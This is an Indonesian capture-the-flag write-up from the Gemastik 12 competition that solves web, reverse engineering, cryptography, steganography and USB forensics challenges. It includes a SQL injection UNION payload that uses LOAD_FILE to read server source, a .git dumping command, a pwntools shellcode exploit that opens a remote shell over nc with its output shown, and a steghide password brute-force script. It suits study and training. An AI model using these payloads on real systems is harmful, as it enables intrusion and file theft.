Write Up Gemastik 12

L('-'L)

Muh. Fani Akbar

Riordan Pramana

Bayu Fedra Abdullah

Web Exploitation

exploit me!

Di berikan web pada url http://180.250.135.11/ dimana kita di suruh untuk mencari password web yang ternyata mnggunakan client side untuk pengecekan dengan JavaScript, lalu web ini kami EXPLOIT menggunakan script :

```
import requests
from re import findall
from string import uppercase, lowercase

def cesar_dekoddd(s):
    for i in range(26):
        hasil = ""
        for x in range(len(s)):
            if s[x].isalpha():
                if s[x].islower():
                    hasil = hasil + lowercase[(lowercase.find(s[x]) + i) % 26]
                else:
                    hasil = hasil + uppercase[(uppercase.find(s[x]) + i) % 26]
            else:
                hasil = hasil + s[x]
        print "[{}] {}".format(i, hasil)


r = requests.get("http://180.250.135.11/").text
f = "".join(i for i in findall("'(.*?)'", r)[::-1])
cesar_dekoddd(f)
```

Pada shift 19 kami menemukan flag

Flag : gemastik12{web-hacking-is-fun}

Web

try me!

Diberikan web

web tersebut terdapat directory .git, sehingga kami melakukan dump menggunakan gitdumper.sh

```
$ ./gitdumper.sh "http://180.250.135.8:8081/.git/" gem2
```

```
$cd gem2
$ for i in $(cat .git/logs/HEAD | awk '{print $1}');
 do
 git checkout ${i} && git checkout index.php && cat index.php | grep -i gem;
 done
```

Setelah script tersebut dijalankan didaptkan flag Your flag is… gemastik12{1N1_kaN_Y4Ng_kaMu_Cari_h3he}

Flag : gemastik12{1N1_kaN_Y4Ng_kaMu_Cari_h3he}

Flag :

Web Injection

Diberikan web `http://180.250.135.10:8080/` , web tersebut vulnerable SQL Injection, terdapat 4 column setelah di cek menggunakan `1337 order by 5 -- --+` .

Kami mencoba menggunakan invalid JWT Token ternyata akan mengeluarkan pesan error.

```
$ curl -X GET \
  -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' \
  http://180.250.135.10:8080/> >
<br>UnexpectedValueException: Wrong number of segments in /var/www/html/vendor/firebase/php-jwt/src/JWT.php:78
Stack trace:
#0 /var/www/html/index.php(19): Firebase\JWT\JWT::decode('eyJ0eXAiOiJKV1Q...', '71d51dc4a4351b0...', Array)
#1 {main}<br> Anda apakan JWT nya? <br>$
```

Kami melakukan read pada file `/var/www/html/index.php` menggunakan payload :

```
1337 UNION SELECT LOAD_FILE(0x2f7661722f7777772f68746d6c2f696e6465782e706870),2,3,4 -- --+
```

Pada source index.php terdapat flag

Flag : gemastik12{Muter-muterSQLInjection}

Reverse Engineering

mooncode

Diberikan binary ELF 64 bit. Program tersebut meminta inputan berupa flag.

```
$ ./mooncode
```

```
Flag: testflag
Invalid flag
```

Decompile fungsi main, hasilnya :

```
undefined8 main(undefined8 uParm1,undefined8 uParm2)

{
  undefined *local_28;
  undefined8 local_20;
  undefined8 local_10;

  local_10 = luaL_newstate();
  luaL_openlibs(local_10);
  local_28 = &code;
  local_20 = 0x676;
  lua_load(local_10,readMemFile,&local_28,&DAT_00102004,0);
  lua_pcallk(local_10,0,0,0,0,0,uParm2);
  return 0;
}
```

Terlihat dari fungsi2 yang dipanggil, program tersebut dibuat dari bahasa lua dicompile menjadi bytecode dan dieksekusi melalui fungsi diatas. Bytecode terdapat pada variable global code (pada alamat 0x0004060) mempunyai panjang 0x676. Data tersebut akan kita dump.

```
$ gef -q ./mooncode
Reading symbols from ./mooncode...(no debugging symbols found)...done.
gef➤  dump memory dumped 0x0004060 0x000046d6
gef➤  quit
```

Didapatkan file lua bytecode

```
$ file dumped
dumped: Lua bytecode,
```

Decompile menggunakan luadec

```
$ luadec/luadec/luadec dumped
-- Decompiled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec
-- Command line: dumped

-- params : ...
-- function num : 0 , upvalues : _ENV
(io.write)("Flag: ")
user_input = (io.read)()
key = {159, 82, 149, 103, 179, 62, 111, 84, 236, 251, 222, 213, 195, 125, 163, 144, 118, 199, 224
, 170, 120, 129, 153, 253, 193, 32, 239, 148, 197, 7}
data = {248, 55, 248, 6, 192, 74, 6, 63, 221, 201, 165, 167, 166, 11, 198, 226, 5, 174, 142, 205,
 39, 245, 241, 152, 158, 77, 128, 251, 171, 122}
r = ""
for i = 1, #key do
  r = r .. (string.char)(key[i] ~ data[i])
end
if user_input == r then
```

```
  (io.write)("correct flag: " .. r .. "\n")
else
  ;
  (io.write)("Invalid flag\n")
end
```

Script tersebut memeriksa input tiap byte dengan hasil dari operasi xor tiap2 elemen pada key dengan data. Untuk mendapatkan flagnya tinggal xor tiap2 elemen pada key dengan data.

```
k = [159, 82, 149, 103, 179, 62, 111, 84, 236, 251, 222, 213, 195, 125, 163, 144, 118, 199, 224,
170, 120, 129, 153, 253, 193, 32, 239, 148, 197, 7]
d = [248, 55, 248, 6, 192, 74, 6, 63, 221, 201, 165, 167, 166, 11, 198, 226, 5, 174, 142, 205, 39
, 245, 241, 152, 158, 77, 128, 251, 171, 122]
flag = ""
for l,r in zip(k,d):
    flag += chr(l^r)
print(flag)
```

Flag : gemastik12{reversing_the_moon}

justrun

Diberikan executable ELF 64 bit. Program tersebut menerima data, data tersebut akan di xor setiap byte dengan indexnya. Setelah itu eksekusi instruksi akan loncat ke data tersebut. Hal tersebut bisa kita baca dari hasil dekompilasi fungsi main.

```
/* WARNING: Could not reconcile some variable overlaps */

undefined8 main(void)

{
  int iVar1;
  code *__dest;
  size_t sVar2;
  uchar input [4096];
  int idx;

  __dest = (code *)mmap((void *)0x0,0x1000,7,0x22,0,0);
  printf("Send your code to run: ");
  fflush(stdout);
  fflush(stdin);
  memset(input,0x90,0x1001);
  fgets((char *)input,0x1001,stdin);
  sVar2 = strlen((char *)input);
  iVar1 = (int)sVar2;
  idx = 0;
  while (idx < iVar1) {
    input[(long)idx] = (byte)idx ^ input[(long)idx];
    idx = idx + 1;
  }
  signal(4,illegal);
  signal(0xb,wrong);
  input._0_4_ = input._0_4_ | 1;
  if (1 < iVar1) {
    input[(long)(iVar1 + -1)] = -0x3d;
```

```
  }
  memcpy(__dest,input,(long)iVar1);
  (*__dest)();
  puts("The code executed cleanly did you get the flag?");
  return 0;
}
```

Kode solvernya seperti ini, cukup menxorkan ulang shellcode dengan setiap index agar pada program ketika dixor lagi menghasilkan shellcode seperti awal. Tambahan, pada byte pertama harus berisi instruksi yang memiliki opcode ganjil karena pada kode byte pertama akan di or-kan dengan 1, sehingga kalau opcode byte pertamanya genap akan mengubah opcodenya. Kami menemukan opcode 0x51 (push rcx) sebagai tambahan agar melewati hal tersebut.

```
from pwn import *

context.arch = 'amd64'
shell = chr(0x51) + asm(shellcraft.execve("/bin/sh", 0, 0))
newshell = ""
for i in range(len(shell)):
    newshell += chr(ord(shell[i]) ^ i)
print(newshell)
```

```
$ (python exploit.py; cat -) | nc 180.250.135.11 2200
Send your code to run: ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cat flag.txt
gemastik12{simple_c0d3_modification}
```

Flag : gemastik12{simple_c0d3_modification}

Encryption

Bellaso cipher

Diberikan Enkripsi :

```
Gukrttvpwn dw vom pmselas jj evvvzvvpvg v tnhqn oiza uenwcnm iixq jqpcit amxo ajpkh xep im dzgqkm
d weer qnos vom ommipvag qgzaabi. Yoqlz wgjcrdxa pa ai ehamrolqboho jqy uaic RJ cszvu, pbís v qcq
wr kvkvzioc hvz bpwkumsniu vn aic uphe. Zreygpomqu qs v acf bo figw gopv fhba nehl. Bhzvg hze hep
f liajgymno ipjzykxkvv agkqyqtcqu imiik wzmd osfhg, sjqg vn tci ovat miibtampa baey etl ZSV, Xtpx
lz HGZ, Jljahpah, vrf HMS. Oaq vn tci upupgiua iny qqzb wdhgsg kisyu mnxvawbijr vlkhimsbms vvg Ji
enet Jqpcit, hvd Qmiumrz Gkwpem. Xjl bwj ipjzykxkvv mzxjvls ri yptl aseba oi mp apin etaqcgi cym
tci Ehmsvv Epxhzv, cul Vdkplze Xmromr vpivzioloz.
Nom e nvvg omol, bhz ZknmnËmi epxhzv yha kisyu is 'gi eoqfavg pvdÈxlkmnrvfnl' (Nrzreo nom 'xjl qn
yiepxhzvcite xmromr'). Olg Vffjvf titciohbixmcu iny ewapom sh Htixi'u Hlvzrvbzen mp Dwnyitsiny, P
gdqs Xetywlg, hgzkrdfgk qt vw wujrzemhjlz mp 1868, zmvzvcs keixwyqen ehamr olg Pbagmcu krttvvtobm
ua Oijzcu Jaoxkzba Winsisj jkyat xeol cp rmvo qt dr vom 1550's. Olg uimz sh ape xmromr xsola fmso
 h uinxcrm: tci Hymnxl eygposiyipcit Itadwg km VdkguËze  yiujziwif zccc e epxhzv ku niaxglv czrvb
zet, epk bhz gkwpem lcz aiigg jwmz xq im wmspnty ieoll aaxgy pih.
Fgstans epxhzv eymaoif ig Gdsxhvnd Fcabinxc Imlgeuv qs v gtfxtjkthxhdg rvty-vproibzxkj xrjggza un
mpn wnz st aeo fiaz iny efhxtzh vv bhz mvhtivr csxhvfga Jegpczw eigtfxtdsp baen ep htpcedlb, a fi
a aw gzrgyitz R csxhvfgaa fmso ape amtzb oii cul a xmromr fia. Ape hiuzigz jnho in kgtisomm12{Iml
geuv-nom-kgtisomm}. Mwr olg ubh rstk wf olg tmsneil, oeo xjl vtc pgabem sh ape fia{twdppq rmy gip
nbh} vrf zcbnxkactz yupvg olg htpcedlb fjv vom nol nlbtzv. Dltlvwq kmcmcraqoi mu pleixkjil os guk
rttvpwn.
Jrg uwvzpvf qs vr gukiklgyueix wzqnb xjl xlvmpamxo eu h set. Xjpa fjvo vn apxqrmy drxvtvzw c tqxz
h csxhvfga is v ttlzelykzqtz epk qs avgl nrjq Ipzogeov Kamhcuwís aevht dzjgjbs. Jrg mwrh sh lvcdt
jlzmzrv pa hzvg lfpjwgk is asnswwn. Kkcmn olg wtadrvlft ìVzg Tirde iyitde rsmnvî akap Bzpnhao'n M
QCM tvfnl, bhz mppbivpu vn evgj dwry etl cszh cz i kzc. Vom rzwv vn tci vlft givamrn etl bhzr guk
iklgymd rmvo auwwgxceix csxhvfgaa. Bzpnhao xlcsteikgk[1] pin hgazaxxqya tj wqsde nsol krttvvorvqu
 lvcmcramd vgevzddri aw hdw ibqdzpkums. Ci csao aytuqscif ape asnswwdri jtuz xq omlk xjl aogyvpwn
 jj qum oa xjlu: ëëTci eygposiyim xspaiiiw vom estnhvaomqu eht xyv jagpu, vve dr kywn vrf vve dr
yvwd, yvqwxey jtvu a cmio xlvgg dqlg jcst oi xjl orjypk it olg zimz xktm.íí Tcmu pa a xpghz soevl
ueix qm bhz pcd wf olg mzez-jcstiik dvlizw hvztt cghzs wihvze Benptej. Xjlg wzvg wcrkstamdgc uvtv
zh ku.
```

Yang merupakan enkripsi vigenere cipher, karena tidak di berikan key kami menggunakan online tools yang bisa mem-brutforce key tersebut di https://www.guballa.de/vigenere-solver
Set language English dan variant classical vigenere, maka akan terdapat flag

Flag : gemastik12{Bellaso-for-gemastik}

Decode this message

Diberikan enkripsi :
qudjvbpg wepaunvpbjv bucgtd Gtdwepgjvp dunwyjgje ojc hjeq vjeqjb yuebpeq ijcjd guopiwyje. Gtdwepgjvp ijcjd guopiwyje vuojnp ojnp ijyjb ipcjgwgje vuxjnj cjeqvweq djwywe bpijg cjeqvweq, njojvpj djwywe bpijg, ije bunbwcpv djwywe bpijg bunbwcpv. Gtdwepgjvp njojvpj zpjvjehj dueqqwejgje vjeip. Vjeip zunjvjc ijnp zjojvj vjevugunbj hjeq dudpcpgp jnbp njojvpj jbjw duehudzwehpgje. Yjij qudjvpbpg pep jeij ipdpebj duduxjogje vjeip pep gudwipje ipcjerwbgje webwg ducjgwgje gteugvp gu aye vunaun iueqje vunaunEjdu cpdj udyjb bpbpg vjbw uejd vudzpcje bpbpg vjbw udyjb udyjb bpbpg vjbw bwrwo cpdj, wvunejdu dueqqwejgje jetehdtwv ije bunjgopn dueqqwejgje yjvvstni qudjvbpg. gudwipje vubucjo bungteugvp gu aye vunaun cjgwgjeecjo vvo gu py vjbw bpqj bpbpg iwj iwj vudzpcje bpbpg uejd udyjb bpbpg iucjyje bwrwo iueqje wvunejdu wzwebw. guh jij ip kpcu mpy iueqje yjvvstni vjdj vuyunbp yjvvstni aye vunaun. xjbjbje rjeqje dueqojywv kcjq hjeq jij. Bunpdj gjvpo

Yang merupakan subtitution cipher yang bisa di auto solve pada url https://quipqiup.com/ dengan meng-set auto menjadi statistic dan mendapatkan hasil :

```
"gemastik universitas telkom Komunikasi merupakan hal yang sangat penting dalam kehidupan. Komuni
kasi dalam kehidupan sehari hari dapat dilakukan secara langsung maupun tidak langsung, rahasia m
aupun tidak, dan tertulis maupun tidak tertulis. Komunikasi rahasia biasanya menggunakan sandi. S
```

```
andi berasal dari bahasa sansekerta yang memiliki arti rahasia atau menyembunyikan. Pada gemasiti
k ini anda diminta memecahkan sandi ini kemudian dilanjutkan untuk melakukan koneksi ke vpn serve
r dengan serverName lima empat titik satu enam sembilan titik satu empat empat titik satu tujuh l
ima, username menggunakan anonymous dan terakhir menggunakan password gemastik. kemudian setelah
terkoneksi ke vpn server lakukannlah ssh ke ip satu tiga titik dua dua sembilan titik enam empat
titik delapan tujuh dengan username ubuntu. key ada di file zip dengan password sama seperti pass
word vpn server. catatan jangan menghapus flag yang ada. Terima kasih"
```

Dari sini kami mendapatkan informasi :

VPN : 54.169.144.175 anonymous:gemastik
SSH : 13.229.64.87:ubuntu

Kami konek VPN PPTP, lalu konek ke ssh menggunakan private.pem

Flag : gemastik12{SimpleCipherSubtition}

Steganography

Bendera Nganu

Diberikan file BenderaNganu.png lalu buka menggunakan stegsolve (https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) , edit pixel nya hingga terdapat flag yang bisa di baca

Flag : gemastik12{bendera2013}

what flags :p ?

Diberikan file perjalanan_pulang.wav yang di download pada http://180.250.135.11/perjalanan_pulang.wav , extract isi nya menggunakan steghide menggunakan script :

```
#!/usr/bin/env python

import threading, os

def get_url(p):
    print "Pass :", p

    return os.system("steghide extract -sf perjalanan_pulang.wav -p {}".format(p))

wl = open("00-indonesian-wordlist.lst").read().split("\n")

for u in wl:
    t = threading.Thread(target=get_url, args = (u,))
```

```
    t.start()
```

Disini kami menggunakan Indonesian Wordlist sesuai hint, lalu akan mendapatkan file **kocheng_oren.txt** yang berisi base64 yang panjang yang didecode berisi kumpulan hex dan setelah kami analisa digit awal nya membentuk file signature dari JPEG, lalu kami decode hex nya dan pipe ke file.jpg maka akan gambar yang di bawahnya terdapat kode braille, kami decode kode tersebut pada url https://www.dcode.fr/braille-alphabet menghasilkan **GALIT3RU5S4MPA1D4PATFLAGNYA**

Flag : gemastik12{GALIT3RU5S4MPA1D4PATFLAGNYA}

Forensic

USB Forensic

Diberikan packet data berisi USB streams. dari hasil pcap yang kami baca, diketahui bahwa tipe USB yang digunakan adalah USB keyboard.

Kami mengextract usb.capdata menggunakan tshark

```
$ tshark -r "hiukawat.pcap" -T fields -e usb.capdata -Y usb.capdata > usb.txt
```

dari usb.capdata ditemukan data sepanjang 8 bytes untuk setiap frame data. Beriku penjelasan Keyboard Report Format :

i. Byte 0 : Keyboard modifier bits (SHIFT, ALT, CTRL, dll)

ii. Byte 1 : reserved

iii. Byte 2-7: Keycodes

Sehingga kami melakukan mapping untuk mendapatkan flag dengan script sebagai berikut :

```
f = open("usb.txt").read().split()
f = [x for x in f if len(x.split(":")) == 8]

dic = {
    'a' : '04', 'b' : '05', 'c' : '06', 'd' : '07', 'e' : '08',
    'f' : '09', 'g' : '0a', 'h' : '0b', 'i' : '0c', 'j' : '0d',
    'k' : '0e', 'l' : '0f', 'm' : '10', 'n' : '11', 'o' : '12',
    'p' : '13', 'q' : '14', 'r' : '15', 's' : '16', 't' : '17',
    'u' : '18', 'v' : '19', 'w' : '1a', 'x' : '1b', 'y' : '1c',
    'z' : '1d', '=' : '2e', '/' : '38', '{' : '2f', '}' : '30',
    '1' : '1e', '2' : '1f', '3' : '20', '4' : '21', '5' : '22',
    '6' : '23', '7' : '24', '8' : '25', '9' : '26', '0' : '27',
    '_' : '2d', ' ' : '2c', ':' : '33', ',' : '36', '/' : '38',
    '\n' : '58', '.' : '37'
}

dic = {dic[i] : i for i in dic}
flag = ''

for c in f:
    try:
        if c.split(':')[0] == "02":
            flag += dic[c.split(':')[2]].upper()
```

```
        else:
            flag += dic[c.split(':')[2]]
    except:
        pass

print flag
```

Hasil run:

```
$ python solve.py
gemastik12{Bel4J4r_5niFf1NG_USB_KeYBo4rd_K3ystRoke}
```

Flag : gemastik12{Bel4J4r_5niFf1NG_USB_KeYBo4rd_K3ystRoke}